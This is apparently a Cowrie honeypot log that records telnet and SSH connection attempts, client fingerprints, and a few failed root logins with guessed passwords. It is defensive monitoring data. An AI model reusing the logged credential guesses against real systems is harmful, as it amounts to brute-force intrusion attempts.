{"eventid":"cowrie.session.closed","duration":30.566876649856567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:02.161618Z","src_ip":"213.171.199.40","session":"08833ffdc2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45588,"dst_ip":"159.203.135.109","dst_port":23,"session":"162a635cdbdd","protocol":"telnet","message":"New connection: 213.171.199.40:45588 (159.203.135.109:23) [session: 162a635cdbdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:02.199387Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":52338,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae4a76b4e990","protocol":"telnet","message":"New connection: 213.171.199.40:52338 (159.203.135.109:23) [session: ae4a76b4e990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:04.247035Z"}
{"eventid":"cowrie.session.closed","duration":30.927359104156494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:06.141356Z","src_ip":"213.171.199.40","session":"56b562ce59d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4304780960083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:06.690726Z","src_ip":"213.171.199.40","session":"5ffe9113206a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669004201889038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:07.105447Z","src_ip":"213.171.199.40","session":"3b6f386e5721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26805281639099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:08.129767Z","src_ip":"213.171.199.40","session":"789204148ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81035089492798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:10.716727Z","src_ip":"213.171.199.40","session":"514913531686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56086,"dst_ip":"10.17.0.5","dst_port":23,"session":"523b74a13acc","protocol":"telnet","message":"New connection: 45.63.42.31:56086 (10.17.0.5:23) [session: 523b74a13acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:11.224715Z"}
{"eventid":"cowrie.session.closed","duration":30.851431846618652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:13.090575Z","src_ip":"213.171.199.40","session":"5e447effee1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.4142484664917,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:14.541632Z","src_ip":"103.115.172.252","session":"3cb7859f13b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.62263584136963,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:14.907493Z","src_ip":"103.115.172.252","session":"1f65c51519d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":35048,"dst_ip":"159.203.135.109","dst_port":23,"session":"322a4d85b1e6","protocol":"telnet","message":"New connection: 213.171.199.40:35048 (159.203.135.109:23) [session: 322a4d85b1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:15.811381Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":42290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d202f4a28af","protocol":"telnet","message":"New connection: 213.171.199.40:42290 (159.203.135.109:23) [session: 6d202f4a28af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:17.885349Z"}
{"eventid":"cowrie.session.closed","duration":30.557589530944824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:19.279848Z","src_ip":"213.171.199.40","session":"39181c2107cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33088,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf3e01ee575","protocol":"telnet","message":"New connection: 213.171.199.40:33088 (159.203.135.109:23) [session: 0bf3e01ee575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:23.488404Z"}
{"eventid":"cowrie.session.closed","duration":30.341129064559937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:24.119824Z","src_ip":"213.171.199.40","session":"50ccfd5af9f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38366,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66ba9117765","protocol":"telnet","message":"New connection: 213.171.199.40:38366 (159.203.135.109:23) [session: a66ba9117765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:24.969784Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39006,"dst_ip":"159.203.135.109","dst_port":23,"session":"016bd0c7442b","protocol":"telnet","message":"New connection: 213.171.199.40:39006 (159.203.135.109:23) [session: 016bd0c7442b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:25.153965Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39488,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd860e2c7c23","protocol":"telnet","message":"New connection: 213.171.199.40:39488 (159.203.135.109:23) [session: dd860e2c7c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:25.328856Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddae9c80c9e1","protocol":"telnet","message":"New connection: 45.63.42.31:33014 (10.17.0.5:23) [session: ddae9c80c9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:27.666700Z"}
{"eventid":"cowrie.session.closed","duration":30.409196615219116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:32.357795Z","src_ip":"213.171.199.40","session":"72715695f248","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857048511505127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:33.056304Z","src_ip":"213.171.199.40","session":"162a635cdbdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":48026,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a693148c50d","protocol":"ssh","message":"New connection: 107.173.55.151:48026 (10.17.0.5:22) [session: 3a693148c50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:33.131225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:33.149646Z","src_ip":"107.173.55.151","session":"3a693148c50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:33.175015Z","src_ip":"107.173.55.151","session":"3a693148c50d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q!Q2w@W3e#E","message":"login attempt [root/1q!Q2w@W3e#E] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:33.241818Z","src_ip":"107.173.55.151","session":"3a693148c50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:34.268490Z","src_ip":"107.173.55.151","session":"3a693148c50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.647363901138306,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:34.474483Z","src_ip":"45.63.42.31","session":"4d85b2142b69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38504,"dst_ip":"159.203.135.109","dst_port":23,"session":"a17a8acc6b9d","protocol":"telnet","message":"New connection: 213.171.199.40:38504 (159.203.135.109:23) [session: a17a8acc6b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:34.871125Z"}
{"eventid":"cowrie.session.closed","duration":31.082443952560425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:35.329355Z","src_ip":"213.171.199.40","session":"ae4a76b4e990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43062,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1338b9870be","protocol":"telnet","message":"New connection: 213.171.199.40:43062 (159.203.135.109:23) [session: c1338b9870be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:36.299625Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":60916,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20b07a33df9","protocol":"telnet","message":"New connection: 213.171.199.40:60916 (159.203.135.109:23) [session: c20b07a33df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:41.903719Z"}
{"eventid":"cowrie.session.closed","duration":30.361008644104004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:46.172257Z","src_ip":"213.171.199.40","session":"322a4d85b1e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81309747695923,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:47.037703Z","src_ip":"45.63.42.31","session":"523b74a13acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.280171155929565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:48.165391Z","src_ip":"213.171.199.40","session":"6d202f4a28af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582265853881836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:54.070505Z","src_ip":"213.171.199.40","session":"0bf3e01ee575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":48282,"dst_ip":"10.17.0.5","dst_port":22,"session":"807fb4854a38","protocol":"ssh","message":"New connection: 5.182.83.231:48282 (10.17.0.5:22) [session: 807fb4854a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:55.260691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:55.265613Z","src_ip":"5.182.83.231","session":"807fb4854a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:55.387813Z","src_ip":"5.182.83.231","session":"807fb4854a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bd123456","message":"login attempt [root/Bd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:55.890285Z","src_ip":"5.182.83.231","session":"807fb4854a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.906511306762695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:56.235209Z","src_ip":"213.171.199.40","session":"dd860e2c7c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.779935836791992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:56.933764Z","src_ip":"213.171.199.40","session":"016bd0c7442b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.998709201812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:56.968375Z","src_ip":"213.171.199.40","session":"a66ba9117765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:57.011396Z","src_ip":"5.182.83.231","session":"807fb4854a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":56840,"dst_ip":"10.17.0.5","dst_port":23,"session":"0205eead52a1","protocol":"telnet","message":"New connection: 103.115.172.252:56840 (10.17.0.5:23) [session: 0205eead52a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:59.608206Z"}
{"eventid":"cowrie.session.closed","duration":35.59351849555969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:03.260132Z","src_ip":"45.63.42.31","session":"ddae9c80c9e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.132.41.247","src_port":37392,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1cabc62831","protocol":"telnet","message":"New connection: 186.132.41.247:37392 (10.17.0.5:23) [session: 2d1cabc62831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:03.384740Z"}
{"eventid":"cowrie.session.closed","duration":31.138033390045166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:06.009009Z","src_ip":"213.171.199.40","session":"a17a8acc6b9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751761198043823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:07.051257Z","src_ip":"213.171.199.40","session":"c1338b9870be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41226,"dst_ip":"159.203.135.109","dst_port":23,"session":"c183b898f7af","protocol":"telnet","message":"New connection: 213.171.199.40:41226 (159.203.135.109:23) [session: c183b898f7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:09.749081Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd65c8bc3b22","protocol":"telnet","message":"New connection: 213.171.199.40:48662 (159.203.135.109:23) [session: fd65c8bc3b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:11.832610Z"}
{"eventid":"cowrie.session.closed","duration":30.29905414581299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:12.202652Z","src_ip":"213.171.199.40","session":"c20b07a33df9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57770,"dst_ip":"159.203.135.109","dst_port":23,"session":"b77ec8f29d34","protocol":"telnet","message":"New connection: 213.171.199.40:57770 (159.203.135.109:23) [session: b77ec8f29d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:14.508737Z"}
{"eventid":"cowrie.session.closed","duration":11.946530818939209,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:15.331129Z","src_ip":"186.132.41.247","session":"2d1cabc62831","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41026,"dst_ip":"159.203.135.109","dst_port":23,"session":"286c4c211153","protocol":"telnet","message":"New connection: 213.171.199.40:41026 (159.203.135.109:23) [session: 286c4c211153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:17.825007Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":56858,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc8659da0839","protocol":"ssh","message":"New connection: 107.173.55.151:56858 (10.17.0.5:22) [session: dc8659da0839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:20.096900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:20.101768Z","src_ip":"107.173.55.151","session":"dc8659da0839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:20.123932Z","src_ip":"107.173.55.151","session":"dc8659da0839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Aa","message":"login attempt [root/123456789Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:20.229201Z","src_ip":"107.173.55.151","session":"dc8659da0839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:21.250434Z","src_ip":"107.173.55.151","session":"dc8659da0839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33868,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a80422857b7","protocol":"telnet","message":"New connection: 45.63.42.31:33868 (10.17.0.5:23) [session: 3a80422857b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:26.220637Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55028,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d1a60926551","protocol":"telnet","message":"New connection: 45.63.42.31:55028 (10.17.0.5:23) [session: 8d1a60926551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:36.166934Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":50158,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4cb8c1fa82","protocol":"telnet","message":"New connection: 213.171.199.40:50158 (159.203.135.109:23) [session: 7f4cb8c1fa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:36.486347Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55256,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b9760ce6c1","protocol":"telnet","message":"New connection: 45.63.42.31:55256 (10.17.0.5:23) [session: 43b9760ce6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:39.292475Z"}
{"eventid":"cowrie.session.closed","duration":30.510561227798462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:40.259548Z","src_ip":"213.171.199.40","session":"c183b898f7af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.81336808204651,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:40.421456Z","src_ip":"103.115.172.252","session":"0205eead52a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83019518852234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:42.662696Z","src_ip":"213.171.199.40","session":"fd65c8bc3b22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c86401783fa","protocol":"telnet","message":"New connection: 45.63.42.31:38286 (10.17.0.5:23) [session: 5c86401783fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:43.015598Z"}
